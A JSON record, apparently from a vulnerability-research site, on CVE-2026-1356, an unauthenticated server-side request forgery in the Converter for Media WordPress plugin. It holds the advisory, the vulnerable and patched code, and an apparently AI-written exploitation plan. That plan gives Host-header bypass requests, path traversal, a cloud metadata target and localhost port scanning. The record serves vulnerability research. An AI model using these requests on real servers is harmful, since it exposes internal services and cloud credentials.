[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fb3V1GoNQOtS3024JS_lznj9dhIqUzWjbsGEu9ku8vPM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1356","converter-for-media-optimize-images-convert-webp-avif-unauthenticated-server-side-request-forgery-via-src","Converter for Media – Optimize images | Convert WebP & AVIF \u003C= 6.5.1 - Unauthenticated Server-Side Request Forgery via src","The Converter for Media – Optimize images | Convert WebP & AVIF plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.5.1 via the PassthruLoader::load_image_source function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.","webp-converter-for-media",null,"\u003C=6.5.1","6.5.2","medium",4.8,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-02-11 21:24:23","2026-02-12 09:25:52",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F188d812c-2955-4b0c-ae1c-b42c0f60b73b?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fbuild\u002Fcss\u002Fstyles.css","changelog.txt","includes\u002Fpassthru.php","readme.txt","src\u002FConversion\u002FFormat\u002FFormatFactory.php","src\u002FLoader\u002FPassthruLoader.php","src\u002FPlugin\u002FActivationHandler.php","src\u002FPlugin\u002FUninstall\u002FPluginSettingsManager.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-1356\n\n## 1. Vulnerability Summary\nThe **Converter for Media** plugin is vulnerable to **Server-Side Request Forgery (SSRF)** via its \"Pass Thru\" image loading functionality. The vulnerability exists in `includes\u002Fpassthru.php` (which is deployed as `wp-content\u002Fwebpc-passthru.php`). \n\nThe `PassthruLoader` class accepts a `src` parameter via GET, performs a weak validation on the host, and then uses `curl` to fetch the modified URL. Because the validation relies on `$_SERVER['HTTP_HOST']` (which can be manipulated via the `Host` header) and only checks the host portion of the URL, an attacker can make the server perform requests to internal services or different ports on the same host.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-content\u002Fwebpc-passthru.php` (The location is derived from the parent of the uploads directory).\n- **Vulnerable Parameter:** `src` (GET parameter).\n- **Required Headers:** `Accept: image\u002Fwebp` or `Accept: image\u002Favif` (to trigger the `curl` path in `load_converted_image`).\n- **Authentication:** Unauthenticated.\n- **Preconditions:** The plugin must have the \"Image loading mode\" set to \"Pass Thru\" in settings. This action generates the `webpc-passthru.php` file on the filesystem.\n\n## 3. Code Flow\n1. **Entry Point:** `includes\u002Fpassthru.php` (deployed as `webpc-passthru.php`).\n2. **Initialization:** The `__construct()` method captures `$_GET['src']`.\n3. **Validation:** `validate_src_param($image_url)` is called.\n    - It extracts the host: `$image_host = parse_url($image_url, PHP_URL_HOST)`.\n    - It compares it to the request host: `if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) )`.\n    - It checks if the extension is one of `['jpg', 'jpeg', 'png', 'gif', 'png2']`.\n4. **Trigger:** `load_converted_image($image_url)` is called.\n    - It checks the `Accept` header against `MIME_TYPES`.\n5. **Sink:** `load_image_source($image_url, $extension)` is called.\n    - It calls `generate_source_url` which replaces the upload directory path (e.g., `\u002Fwp-content\u002Fuploads`) with the WebP path (e.g., `\u002Fwp-content\u002Fuploads-webpc`).\n    - It then executes `curl_exec($ch)` on the resulting URL.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe `webpc-passthru.php` file is a standalone script that does not load the WordPress environment (it only uses constants defined during its creation). It does not implement any WordPress nonce checks or capability checks.\n\n## 5. Exploitation Strategy\n\n### Step 1: Force Generate the Loader\nThe loader file must exist. We can use WP-CLI to ensure the settings are correct and the loader is activated.\n```bash\nwp option update webpc_settings '{\"loader\":\"passthru\", \"extensions\":[\"jpg\",\"jpeg\",\"png\",\"gif\"], \"output_formats\":[\"webp\"]}' --format=json\n# Trigger the activation hook logic to write the file\nwp eval \"do_action('webpc_activate_loader');\"\n```\n\n### Step 2: Identify Internal Target\nWe will attempt to hit an internal service or a different port on the local machine (e.g., port 8080 if WP is on 80, or a known internal metadata service).\n\n### Step 3: Execute SSRF Request\nTo bypass the host check:\n1. Ensure the `Host` header in our request matches the domain in the `src` parameter.\n2. Use a URL in `src` that ends in a valid extension but points to an internal resource.\n\n**Request Template:**\n- **URL:** `http:\u002F\u002Flocalhost:8000\u002Fwp-content\u002Fwebpc-passthru.php?src=http:\u002F\u002Flocalhost:8000\u002Finternal-api\u002Fsecret.jpg`\n- **Method:** `GET`\n- **Headers:** \n    - `Accept: image\u002Fwebp`\n    - `Host: localhost:8000`\n\n**Note on URL Transformation:**\n`generate_source_url` will transform:\n`http:\u002F\u002Flocalhost:8000\u002Fwp-content\u002Fuploads\u002Ftest.jpg` \ninto \n`http:\u002F\u002Flocalhost:8000\u002Fwp-content\u002Fuploads-webpc\u002Ftest.jpg.webp`.\n\nTo reach an arbitrary path like `\u002Fetc\u002Fpasswd` or an internal API, we can use path traversal in the `src` parameter:\n`src=http:\u002F\u002Flocalhost:8000\u002Fwp-content\u002Fuploads\u002F..\u002F..\u002F..\u002F..\u002Finternal\u002Fapi?ext=.jpg`\n\n## 6. Test Data Setup\n1. **Plugin Activation:** Ensure `webp-converter-for-media` is active.\n2. **Settings:**\n    - Loading Mode: `passthru`\n    - Supported Formats: `webp`\n3. **Verify File:** Confirm `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fwebpc-passthru.php` exists.\n4. **Mock Internal Service:** (Optional) Create a file `secret-data.txt` at the root of the site to simulate internal data.\n\n## 7. Expected Results\n- The server will receive the request for `webpc-passthru.php`.\n- The `curl` instance on the server will make a request to the URL specified in `src`.\n- If the internal resource returns content, and the `curl` request is successful (HTTP 200), the plugin will echo the content of the internal resource back to the attacker.\n\n## 8. Verification Steps\n1. **Observe Response:** The response body should contain the content of the targeted internal URL.\n2. **Access Logs:** Check the web server access logs to see the request originating from the server's own IP\u002Flocalhost to the target specified in the SSRF.\n   ```bash\n   tail -n 20 \u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n   ```\n\n## 9. Alternative Approaches\n### Host Header Injection\nIf the target server is behind a proxy that allows arbitrary `Host` headers, we can set:\n- `Host: 169.254.169.254`\n- `src: http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fimage.jpg`\nThe host check `parse_url($src, HOST) === $_SERVER['HTTP_HOST']` will pass because both are `169.254.169.254`.\n\n### Port Scanning\nIterate through ports on `localhost`:\n`src=http:\u002F\u002Flocalhost:[PORT]\u002Fwp-content\u002Fuploads\u002Ftest.jpg`\nIf the port is open and returns a 200 (unlikely for random ports, but useful for internal services), the response will differ from a closed port (which returns 404 or null via `load_image_source`).","The Converter for Media plugin is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the Passthru image loading mode. Attackers can bypass host validation by manipulating the HTTP Host header or using path traversal in the 'src' parameter, allowing them to make requests to internal services or local network resources.","\u002F\u002F includes\u002Fpassthru.php:51\n\tprivate function validate_src_param( string $image_url ): bool {\n\t\t\u002F\u002F ...\n\t\t$image_host = parse_url( $image_url, PHP_URL_HOST );\n\t\tif ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { \u002F\u002F phpcs:ignore WordPress.Security\n\t\t\treturn false;\n\t\t}\n\n\t\t$image_extension = strtolower( pathinfo( $image_url, PATHINFO_EXTENSION ) );\n\t\tif ( ! in_array( $image_extension, [ 'jpg', 'jpeg', 'png', 'gif', 'png2' ] ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n---\n\n\u002F\u002F includes\u002Fpassthru.php:99\n\tprivate function load_image_source( string $image_url, string $extension ) {\n\t\t$url = $this->generate_source_url( $image_url, $extension );\n\t\t$ch  = curl_init( $url );\n\t\tif ( $ch === false ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tcurl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );\n\t\tcurl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 0 );\n\t\tcurl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );\n\n\t\t$response = curl_exec( $ch );\n\t\t$code     = curl_getinfo( $ch, CURLINFO_HTTP_CODE );\n\t\tcurl_close( $ch );\n\t\t\u002F\u002F ...","--- includes\u002Fpassthru.php\n+++ includes\u002Fpassthru.php\n@@ -16,6 +16,7 @@\n \tconst PATH_UPLOADS      = '';\n \tconst PATH_UPLOADS_WEBP = '';\n \tconst MIME_TYPES        = '';\n+\tconst SITE_HOST         = '';\n \n \tpublic function __construct() {\n \t\tif ( ( self::PATH_UPLOADS === '' ) || ( self::PATH_UPLOADS_WEBP === '' ) || ( self::MIME_TYPES === '' ) ) {\n@@ -50,7 +51,7 @@\n \t\t}\n \n \t\t$image_host = parse_url( $image_url, PHP_URL_HOST );\n-\t\tif ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { \u002F\u002F phpcs:ignore WordPress.Security\n+\t\tif ( $image_host !== self::SITE_HOST ) {\n \t\t\treturn false;\n \t\t}","1. Identify the 'webpc-passthru.php' file location (typically in the parent directory of the WordPress uploads directory, often site root or wp-content).\n2. Target an internal service or the local loopback (e.g., http:\u002F\u002Flocalhost:8080\u002Finternal-data.jpg).\n3. Craft a GET request to 'webpc-passthru.php' with the 'src' parameter pointing to the target URL.\n4. To bypass host validation, include an 'HTTP Host' header in the request that matches the host specified in the 'src' parameter (e.g., Host: localhost:8080).\n5. Ensure the 'Accept' header includes 'image\u002Fwebp' or 'image\u002Favif' to trigger the curl-based passthru logic.\n6. If the target resource exists and returns a 200 OK, the server will proxy the response content back to the attacker.","gemini-3-flash-preview","2026-04-21 00:15:42","2026-04-21 00:16:08",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.5.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebp-converter-for-media\u002Ftags\u002F6.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebp-converter-for-media.6.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebp-converter-for-media\u002Ftags\u002F6.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebp-converter-for-media.6.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebp-converter-for-media\u002Ftags"]